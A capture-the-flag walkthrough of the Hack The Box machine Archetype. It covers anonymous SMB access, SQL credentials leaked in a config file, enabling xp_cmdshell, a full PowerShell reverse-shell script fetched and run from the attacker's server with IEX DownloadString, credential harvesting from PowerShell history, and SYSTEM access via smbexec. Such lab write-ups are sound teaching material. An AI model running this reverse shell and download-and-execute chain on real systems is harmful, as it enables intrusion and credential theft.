Archetype - 10.10.10.27

First of all we launch our nMap scan. Switches **-p-** will scan all 65535 ports, **-A** will enable detection of the os and version, script scanning and traceroute. **-oN** will save output into a file

```
# nmap -p- -A 10.10.10.27 -oN Archetype
```

```
┌──(root💀kali)-[~/htb/Archetype]
└─# nmap -p- -A 10.10.10.27 -oN Archetype
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-01 05:30 EDT
Nmap scan report for 10.10.10.27
Host is up (0.066s latency).
Not shown: 65523 closed ports
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
|   Target_Name: ARCHETYPE
|   NetBIOS_Domain_Name: ARCHETYPE
|   NetBIOS_Computer_Name: ARCHETYPE
|   DNS_Domain_Name: Archetype
|   DNS_Computer_Name: Archetype
|   Product_Version: 10.0.17763
```

Our scan has found open ports **445** and **1433** which are associated with file sharing (SMB) and SQL server.

Let's check if we have anonymous access to smb.

```
# smbclient -N -L \\\\10.10.10.27\\
```

```
┌──(root💀kali)-[~/htb/Archetype]
└─# smbclient -N -L \\\\10.10.10.27\\

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        backups         Disk
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.27 failed (Error NT_STATUS_RESOURCE_NAME_N
OT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

The connection failed, but command has been able to list available shares. So now we try to refactor our command a little bit and try to access one of the folders directly.

```
# smbclient -N \\\\10.10.10.27\\backups

\> get prod.dtsConfig
```

As you can see, now we have been able to connect to the smb.

```
┌──(root💀kali)-[~/htb/Archetype]
└─# smbclient -N \\\\10.10.10.27\\backups
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Jan 20 07:20:57 2020
  ..                                  D        0  Mon Jan 20 07:20:57 2020
  prod.dtsConfig                     AR      609  Mon Jan 20 07:23:02 2020

                10328063 blocks of size 4096. 8247471 blocks available
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (2.5 KiloBytes/sec
) (average 2.5 KiloBytes/sec)
smb: \> exit
```

In the backups folder we can find the **prod.dstConfig** file, so let's download it and read.

```
# cat prod.dtsConfig
```

```
┌──(root💀kali)-[~/htb/Archetype]
└─# cat prod.dtsConfig
<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName=
"..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Desti
nation].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE
\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=T
rue;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>
```

In the downloaded file we found sql credentials. So fire up **mssqlclient.py** script from **impacket** package and connect to the sql server using found credentials. Next mentioned command will check if you have admin privileges over the sql server.

```
# mssqlclient.py ARCHETYPE/\sql_svc@10.10.10.27 -windows-auth

SQL> SELECT IS_SRVROLEMEMBER ('sysadmin')
```

```
┌──(root💀kali)-[~/htb/Archetype]
└─# mssqlclient.py ARCHETYPE/\sql_svc@10.10.10.27 -windows-auth
/usr/lib/python2.7/dist-packages/cffi/model.py:534: UserWarning: 'point_conve
rsion_form_t' has no values explicitly defined; guessing that it is equivalen
t to 'unsigned int'
  % self._get_c_name())
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL> SELECT IS_SRVROLEMEMBER ('sysadmin')

-----------
          1
SQL>
```

We have discovered that we indeed are sysadmin, therefore we can enable **xp_cmdshell** with the following commands. The last one serves to confirm the shell is working.

```
EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;
xp_cmdshell "whoami"
```

In this step start up netcat listener on port **443** and with **ufw** command allow listening on ports 80 and 443.

```
# nc -nlvp 443
ufw allow from 10.10.10.27 proto tcp to any port 80,443
```

Now create a reverse shell file with the following code. I named it simply shell.ps1

```
$client=New-
ObjectSystem.Net.Sockets.TCPClient("<Your_IP>",443);$stream=$cl
ient.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream
.Read($bytes,0,$bytes.Length))-ne0){;$data=(New-Object-
TypeNameSystem.Text.ASCIIEncoding).GetString($bytes,0,$i);$send
back=(iex$data2>&1|Out-
String);$sendback2=$sendback+"#";$sendbyte=([text.encoding]::AS
CII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.L
ength);$stream.Flush()};$client.Close()
```

Fire up a simple http server with python

```
# python -m SimpleHTTPServer 80
```

And now we can run our reverse shell from our compromised sql server and receive a connection on our listener.

```
# xp_cmdshell "powershell "IEX (New-Object
Net.WebClient).DownloadString(\"http://<Your_IP>/shell.ps1\");"
```

```
┌──(root💀kali)-[~]
└─# nc -nlvp 443
listening on [any] 443 ...
ufw allow from 10.10.10.27 proto tcp to any port 80,443
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.27] 49713
#whoami
archetype\sql_svc
#
```

After we get access to our user account we can navigate to the desktop to claim our **user.txt** flag. Otherwise let's check powershell history.

```
#type
C:\Users\sql_svc\AppData\Roaming\Microsoft\PowerShell\PSReadlin
e\ConsoleHost_History.txt
```

```
#whoami
archetype\sql_svc
#type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadlin
e\ConsoleHost_History.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit
#
```

In history we have discovered admin credentials, so use **smbexec.py** script also from the impacket package to connect into the system as admin. When we are connected we can claim our **root.txt** flag from desktop.

Note that with smbexec you can't change directories, therefore you have to use full path. Also in case smbexec.py wont not work for you so you can try alternatives psexec.py and wmiexec.py both from impacket package.

```
# smbexec administrator@10.10.10.27
```

```
┌──(root💀kali)-[~/htb/Archetype]
└─# smbexec.py administrator@10.10.10.27
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

Password:
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>
```